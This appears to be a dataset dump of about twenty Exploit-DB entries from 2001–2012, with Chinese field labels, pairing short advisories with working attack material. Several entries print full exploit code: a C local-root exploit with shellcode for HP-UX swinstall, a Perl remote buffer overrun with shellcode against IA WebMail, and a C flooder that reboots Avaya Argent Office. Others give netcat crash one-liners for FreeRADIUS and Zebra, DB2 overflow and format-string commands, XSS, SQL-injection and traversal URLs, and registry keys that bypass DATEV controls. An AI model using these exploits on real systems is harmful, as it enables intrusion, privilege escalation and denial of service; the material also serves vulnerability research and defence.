QLWD/code_shield huggingface dataset:
标题: FreeRadius 0.x/1.1.x - Tag Field Heap Corruption EDB-ID: 23391 CVE: 2003-0967 类型: DOS 平台: LINUX 发布日期: 2003-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/9079/info

FreeRADIUS is prone to a heap-corruption vulnerability when handling of tag-field input. An attacker may be able to exploit this issue to deny service to legitimate users of a vulnerable FreeRADIUS server.

This issue was initially reported as a vulnerability in how the software handles 'Tunnel-Password' attribute in Access-Request packets, but the issue turns out to have wider scope, affecting tag-field input in general.

This vulnerability affects FreeRADIUS 0.4.0 through 0.9.2.

UPDATE (September 9, 2009): This issue was fixed in 2003 but reintroduced later. FreeRADIUS 1.1.3 through 1.1.7 are also vulnerable.

bash-2.05$ echo -ne "\x01\x01\x00\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x45\x02" | nc -vu -w1 <victim> <port> URL: https://www.exploit-db.com/exploits/23391
标题: GNU Zebra 0.9x / Quagga 0.96 - Remote Denial of Service EDB-ID: 23375 CVE: 2003-0795 类型: DOS 平台: LINUX 发布日期: 2003-11-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/9029/info

It has been reported that Zebra, as well as Quagga, may be vulnerable to a remote denial of service vulnerability that may allow an attacker to cause the software to crash or hang. The issue is reported to occur if an attacker attempts to connect to the Zebra telnet management port while a password is enabled. The program will crash when attempting to dereference an invalid, possibly NULL, pointer.

All versions of GNU Zebra are said to be vulnerable to this issue. All versions of Quagga prior to 0.96.4 are also vulnerable. 

printf '\xff\xf0\xff\xf0\xff\xf0' | nc <host> <port> URL: https://www.exploit-db.com/exploits/23375
标题: WordPress Plugin Portable phpMyAdmin - Authentication Bypass EDB-ID: 23356 CVE: 2012-5469 类型: WEBAPPS 平台: PHP 发布日期: 2012-12-13 漏洞利用脚本: 'portable-phpMyAdmin (WordPress Plugin)' Authentication Bypass (CVE-2012-5469)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
portable-phpMyAdmin doesn't verify an existing WordPress session (privileged or not) when accessing the plugin file path directly. Because of how this plugin works, a default installation will provide a full phpMyAdmin console with the privilege level of the MySQL configuration of WordPress.

 
II. TESTED VERSION
---------------------------------------
1.3.0


III. PoC EXPLOIT
---------------------------------------
Navigate to http://host/wp-content/plugins/portable-phpmyadmin/wp-pma-mod and you will be presented with the full portable-phpMyAdmin web interface without the requirement of a session or any credential.


IV. SOLUTION
---------------------------------------
Upgrade to version 1.3.1


V. REFERENCES
---------------------------------------
http://wordpress.org/extend/plugins/portable-phpmyadmin/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-5469


VI. TIMELINE
---------------------------------------
10/13/2012 - Initial developer disclosure
10/14/2012 - Response from developer with commitment to fix the vulnerability
10/31/2012 - Follow-up with developer after no communication or patched release
11/16/2012 - Second attempt to follow-up with developer regarding progress/timetable
11/26/2012 - Contacted WordPress 'plugins team' about lack of progress on patched release
11/27/2012 - WordPress 'plugins team' patches software and releases version 1.3.1
12/12/2012 - Public disclosure URL: https://www.exploit-db.com/exploits/23356
标题: IBM DB2 - 'db2govd' Command Line Argument Local Overflow EDB-ID: 23349 CVE: 2003-1050 类型: DOS 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8990/info
  
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[db2inst1@RiotStarter adm]$ ./db2govd stop a `perl -e 'print "A" x 65'`
Segmentation fault URL: https://www.exploit-db.com/exploits/23349
标题: IBM DB2 - 'db2stop' Command Line Argument Local Overflow EDB-ID: 23348 CVE: 2003-1050 类型: DOS 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8990/info
 
IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[kf@RiotStarter adm]$ ./db2stop `perl -e 'print "A" x 4001'`
Segmentation fault URL: https://www.exploit-db.com/exploits/23348
标题: IBM DB2 - 'db2start' Format String Arbitrary Code Execution EDB-ID: 23344 CVE: 2003-1051 类型: LOCAL 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8989/info

Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2start %x
SQL2032N The "bffff270" parameter is not valid.
[kf@RiotStarter adm]$ ./db2start %n%n
Segmentation fault
[kf@RiotStarter adm]$ ./db2stop %x
SQL2032N The "bffff6f0" parameter is not valid. URL: https://www.exploit-db.com/exploits/23344
标题: HP-UX 11 - Software Distributor Lang Environment Variable Local Buffer Overrun EDB-ID: 23343 CVE: 2003-0089 类型: LOCAL 平台: HP-UX 发布日期: 2002-12-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8986/info

HP has reported that some Software Distributor (SD) utilities are prone to a locally exploitable buffer-overrun vulnerability. Affected utilities include swinstall(1M) and swverify(1M). 

/*
  Program : x_hpux_11i_sw.c
  Use     : HP-UX 11.11/11.0 exploit swxxx to get local root shell.
  Complie : cc x_hpux_11i_sw.c -o x_sw ;./x_sw  ( not use gcc for some system)
  Usage   : ./x_sw [ off ]
  Tested  : HP-UX B11.11 & HP-UX B11.0
  Author  : watercloud [@] xfocus.org
  Date    : 2002-12-11
  Note    : Use as your own risk !!
*/
#include<stdio.h>
#define T_LEN  2124
#define BUFF_LEN 1688
#define NOP 0x0b390280
char shellcode[]=
  "\x0b\x5a\x02\x9a\x34\x16\x03\xe8\x20\x20\x08\x01\xe4\x20\xe0\x08" 
  "\x96\xd6\x04\x16\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
  "\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08\xb4\x16\x70\x16"
  "/bin/shA";

long addr;
char buffer_env[2496];
char buffer[T_LEN];

void main(argc,argv)
int argc;
char ** argv;
{
    int addr_off = 8208 ;
    long addr_e = 0;
    int  n=BUFF_LEN/4,i=0;
    long * ap = (long *) &buffer[BUFF_LEN];
    char * sp = &buffer[BUFF_LEN-strlen(shellcode)];
    long * np = (long *) buffer;
    if(argc >0)

     addr_off += atoi(argv[1]);
    addr = ( (long) &addr_off +addr_off) /4 * 4  +4;
    for(i=0;i<n;np[i++]=NOP);
    memcpy(sp,shellcode,strlen(shellcode));
    for(i=0;i<(T_LEN-BUFF_LEN)/4;ap[i++]=addr);
    buffer[T_LEN -2 ] += 1; buffer[T_LEN - 1 ] = '\0';
    sprintf(buffer_env,"LANG=AAA%s",buffer);
    putenv(buffer_env);
    execl("/usr/sbin/swinstall","swinstall","/tmp/null",NULL);
 /* if  false ,test swverify. */
    execl("/usr/sbin/swverify","swverify",NULL);
} URL: https://www.exploit-db.com/exploits/23343
标题: IBM DB2 - 'db2stop' Format String Arbitrary Code Execution EDB-ID: 23345 CVE: 2003-1051 类型: LOCAL 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8989/info
 
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[kf@RiotStarter adm]$ ./db2stop %n%n
Segmentation fault URL: https://www.exploit-db.com/exploits/23345
标题: IBM DB2 - 'db2start' Command Line Argument Local Overflow EDB-ID: 23347 CVE: 2003-1050 类型: DOS 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8990/info

IBM DB2 has been reported to be prone to multiple buffer overflow vulnerabilities that present themselves in binaries that are shipped with DB2. The vulnerabilities are likely caused due to a lack of sufficient boundary checks performed on user supplied command-line arguments before they are copied into a reserved buffer in memory. It has been reported that by supplying arguments of excessive length to the respective vulnerable executables a local attacker may trigger the execution of arbitrary attacker-supplied instructions with elevated privileges. 

[kf@RiotStarter adm]$ source /home/db2inst1/sqllib/db2profile
[kf@RiotStarter adm]$ ./db2start `perl -e 'print "A" x 9901'`
Segmentation fault URL: https://www.exploit-db.com/exploits/23347
标题: IBM DB2 - 'db2govd' Format String Arbitrary Code Execution EDB-ID: 23346 CVE: 2003-1051 类型: LOCAL 平台: LINUX 发布日期: 2003-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/8989/info
  
Multiple command-line parameter format string vulnerabilities have been discovered in various IBM DB2 binaries. Specifically, format-based functions are implemented erroneously within the db2govd, db2start, and db2stop programs. These binaries are typically installed setuid. As a result, a malicious local user may be capable of gaining elevate privileges.

[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %x
GOV1023N Unable to open configuration file "bfffed88". RC = "-2045837302".
[db2inst1@RiotStarter adm]$ ./db2govd validate garbage %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop a %x
db2govd: GOV1005N No governor for database "A" on node "bfffe188" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop a %n%n%n
Segmentation fault
[db2inst1@RiotStarter adm]$ ./db2govd stop %x b
db2govd: GOV1005N No governor for database "BFFFD788" on node "b" is
running, or it is already being stopped.
[db2inst1@RiotStarter adm]$ ./db2govd stop %n%n%n b
Segmentation fault URL: https://www.exploit-db.com/exploits/23346
标题: John Beatty Easy PHP Photo Album 1.0 - 'dir' HTML Injection EDB-ID: 23338 CVE: 2003-1146 类型: WEBAPPS 平台: PHP 发布日期: 2003-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/8977/info

It has been reported that Easy PHP Photo Album is prone to a HTML injection vulnerability that may allow an attacker to execute HTML code in a user's browser. The issue is reported to be present in the 'dir' parameter. This problem is due to insufficient sanitization of user-supplied input.

Successful exploitation of this vulnerability may allow an attacker to steal cookie-based authentication credentials. Other attacks are also possible.

Easy PHP Photo Album version 1.0 has been reported to be vulnerable to this issue, however prior versions may be affected as well. 

http://www.example.com/photos/showimages.php?dir=<iframe%20src="C:\"%20width=400%20height=400></iframe>
http://www.example.com//photos/showfullimage.php?dir=[dir name][spc]St[spc]Clair&image=<h1>hello</h1> URL: https://www.exploit-db.com/exploits/23338
标题: Avaya Argent Office - DNS Packet Denial of Service EDB-ID: 23337 CVE: 2001-1259 类型: DOS 平台: WINDOWS 发布日期: 2001-08-07 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8976/info

It has been reported that Avaya Argent Office is prone to a denial of service condition when handling malformed DNS packets. The problem is said to occur when a DNS packet with no payload is handled. Receiving the packet is said to cause the device to reboot. 

/* argent_kill.c 
(c) 2001 Jacek Lipkowski sq5bpf acid ch pw edu pl
Reboots an Argent Office box by sending udp packets with no payload to port 53
usage: argent_kill ip_address
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

main(int argc, char *argv[])
{
struct sockaddr_in addr;
struct hostent *host;
int s;

s=socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (s==-1) { perror("socket()"); exit(1); }
host=gethostbyname(argv[1]);
if (host==0) { herror("gethostbyname"); exit(1); }
memcpy(&addr.sin_addr,host->h_addr,host->h_length);
addr.sin_port=htons(53);
addr.sin_family=AF_INET;
if (connect(s,&addr,16)==-1) { perror("connect()"); exit(1); }
for (;;)
{
send(s,0,0,0); sleep(1); printf("."); fflush(stdout);
}
close(s);
} URL: https://www.exploit-db.com/exploits/23337
标题: Synthetic Reality SymPoll 1.5 - Cross-Site Scripting EDB-ID: 23330 CVE: 2003-1175 类型: WEBAPPS 平台: PHP 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8956/info

It has been reported that Sympoll is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data through the 'vo' parameter. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

Sympoll version 1.5 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/index.php?vo="><script>alert(document.cookie);</script> URL: https://www.exploit-db.com/exploits/23330
标题: MPM Guestbook 1.2 - Cross-Site Scripting EDB-ID: 23332 CVE: 2003-1182 类型: WEBAPPS 平台: CGI 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8958/info

MPM Guestbook is reported to be prone to a cross-site scripting vulnerability. This is due to insufficient sanitization of HTML from URI parameters, which will be displayed in web pages that are dynamically generated by the software.

An attacker could exploit this issue by enticing a user to follow a malicious link. This could theoretically allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/guestbook/?number=5&lng=%3Cscript%3Ealert(document.domain);%3C/script%3E URL: https://www.exploit-db.com/exploits/23332
标题: PHPKit 1.6 - 'Include.php' Cross-Site Scripting EDB-ID: 23333 CVE: 2003-1187 类型: WEBAPPS 平台: PHP 发布日期: 2003-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/8960/info

PHPKIT is reported to be prone to a cross-site scripting vulnerability. This is due to insufficient sanitization of HTML from URI parameters, which will be displayed in web pages that are dynamically generated by the software. The issue exists in the 'include.php' script.

An attacker could exploit this issue by enticing a user to follow a malicious link. This could theoretically allow for theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/include.php?path=contact.php&contact_email="><script>alert(123);</script> URL: https://www.exploit-db.com/exploits/23333
标题: VieNuke VieBoard 2.6 - SQL Injection EDB-ID: 23335 CVE: 2003-1196 类型: WEBAPPS 平台: ASP 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8967/info

It has been reported that VieNuke VieBoard may be prone to a SQL injection vulnerability that may allow an attacker to disclose sensitive information by supplying malicious SQL code to the underlying database.

A malicious user may influence database queries in order to view or modify sensitive information potentially compromising the software or the database. 

http://www.example.com/vie/viewtopic.asp?forumid=48&id=2736' URL: https://www.exploit-db.com/exploits/23335
标题: IA WebMail Server 3.0/3.1 - GET Buffer Overrun EDB-ID: 23334 CVE: 2003-1192 类型: REMOTE 平台: WINDOWS 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8965/info

IA WebMail Server is said to be prone to a remote buffer overrun that could allow an attacker to execute arbitrary code. The problem occurs due to insufficient bounds checking when handling GET requests. As a result, an attacker may be capable of overrunning the bounds of an internal memory buffer and effectively control the flow of execution. 

#!/usr/bin/perl
use IO::Socket;
unless (@ARGV == 1) { die "usage: $0 host ..." }
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
                                 PeerAddr => $host,
                                 PeerPort => "8180",
                                 );
unless ($remote) { die "cannot connect to http daemon on $host" }

$remote->autoflush(1);

$shellcode = join ("",
"\x90", # - NOP
"\xCC", # - INT3
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x90", # - NOP
"\x8B\xEC", # - MOV EBP, ESP
"\x55", # - PUSH EBP
"\x8B\xEC", # - MOV EBP, ESP
"\x33\xFF", # - XOR EDI, EDI
"\x57", # - PUSH EDI
"\x83\xEC\x04", # 0 SUB ESP, 4
"\xC6\x45\xF8\x63", # - MOV BYTE PTR SS:[EBP-8],63h
"\xC6\x45\xF9\x6D", # - MOV BYTE PTR SS:[EBP-7],6Dh
"\xC6\x45\xFA\x64", # - MOV BYTE PTR SS:[EBP-6],64h
"\xC6\x45\xFB\x2E", # - MOV BYTE PTR SS:[EBP-5],2Eh
"\xC6\x45\xFC\x65", # - MOV BYTE PTR SS:[EBP-4],65h
"\xC6\x45\xFD\x78", # - MOV BYTE PTR SS:[EBP-3],78h
"\xC6\x45\xFE\x65", # - MOV BYTE PTR SS:[EBP-2],65h
"\xB8\xC3\xAF\x01\x78", # - MOV EAX, MSVCRT.system
"\x50", # - PUSH EAX
"\x8D\x45\xF8", # - LEA EAX, DWORD PTR SS:[EBP-8]
"\x50", # - PUSH EAX
"\xFF\x55\xF4", # - CALL DWORD PTR SS:[EBP-C]
"\x5F" # - POP EDI
);

$eip = "\x4c\xf8\x12";

#0012f84C

#$eip = "AAAA";
$request = join ("", "GET /", $shellcode, "A"x(1040-length($shellcode)),
$eip, " HTTP/1.1\r
Host: $host\r
Connection: close\r
\r
\r\n");

print $remote $request;
sleep(1);

close $remote; URL: https://www.exploit-db.com/exploits/23334
标题: http commander 4.0 - Directory Traversal EDB-ID: 23326 CVE: 2003-1166 类型: WEBAPPS 平台: ASP 发布日期: 2003-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/8948/info

It has been reported that HTTP Commander is prone a directory traversal issue allowing a remote attacker to traverse outside the server root directory by using '../' character sequences.

Successful exploitation of this vulnerability may allow a remote attacker to gain access to sensitive information, which may be used to mount further attacks against a vulnerable system.

HTTP Commander version 4.0 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/NetDemo2/OpenFile.aspx?file=../../../../../../../../boot.ini

http://www.example.com/NetDemo2/html.aspx?file=../../../../../../../../../boot.ini URL: https://www.exploit-db.com/exploits/23326
标题: OpenAutoClassifieds 1.0 - 'Listing' Cross-Site Scripting EDB-ID: 23336 CVE: 2003-1145 类型: WEBAPPS 平台: PHP 发布日期: 2003-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/8972/info

It has been reported that OpenAutoClassifieds is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data through the 'listings' parameter. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

OpenAutoClassifieds version 1.0 is reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/openautoclassifieds/friendmail.php?listing=<
script>alert(document.domain);</script> URL: https://www.exploit-db.com/exploits/23336
标题: Web Wiz Forum 6.34/7.0/7.5 - Unauthorized Private Forum Access EDB-ID: 23331 CVE: 2003-1176 类型: WEBAPPS 平台: ASP 发布日期: 2003-11-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/8957/info

A vulnerability has been reported in Web Wiz Forum that could allow unauthorized access to private forums. The problem occurs when handling malformed requests that make use of 'quote' mode. When this mode is used, Web Wiz Forum will allegedly fail to carry out sufficient checks between the requested forum and message. As a result, an attacker could potentially read or write to a private forum.

http://www.example.com/post_message_form.asp?mode=quote&PID=1111&FID=1&TID=11&TPN=1 URL: https://www.exploit-db.com/exploits/23331
标题: DATEV Nutzungskontrolle 2.1/2.2 - Unauthorized Access EDB-ID: 23327 CVE: 2003-1169 类型: LOCAL 平台: WINDOWS 发布日期: 2003-11-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/8950/info

It has been reported that DATEV Nutzungskontrolle may be prone to a access validation issue that may allow a local attacker to gain access to sensitive data. The issue presents itself as a local user is able modify certain keys in the Windows registry resulting in bypassing the security model of the software. This issue would not present itself if the registry keys were set to read only.

Successful exploitation of this issue may allow an attacker to gain access to sensitive data that could be used to launch further attacks against the system.

Nutzungskontrolle V.2.1 and V.2.2 has been reported to be prone to this issue, however other versions may be affected as well.

It is possible to deactivate the NUKO with just importing 2 registry
keys:

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEV]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,08,48,e7,71,65,9b

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEVeG\Components\B0000046\Versions\1.0\NukoInfos]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,08,48,e7,71,65,9b URL: https://www.exploit-db.com/exploits/23327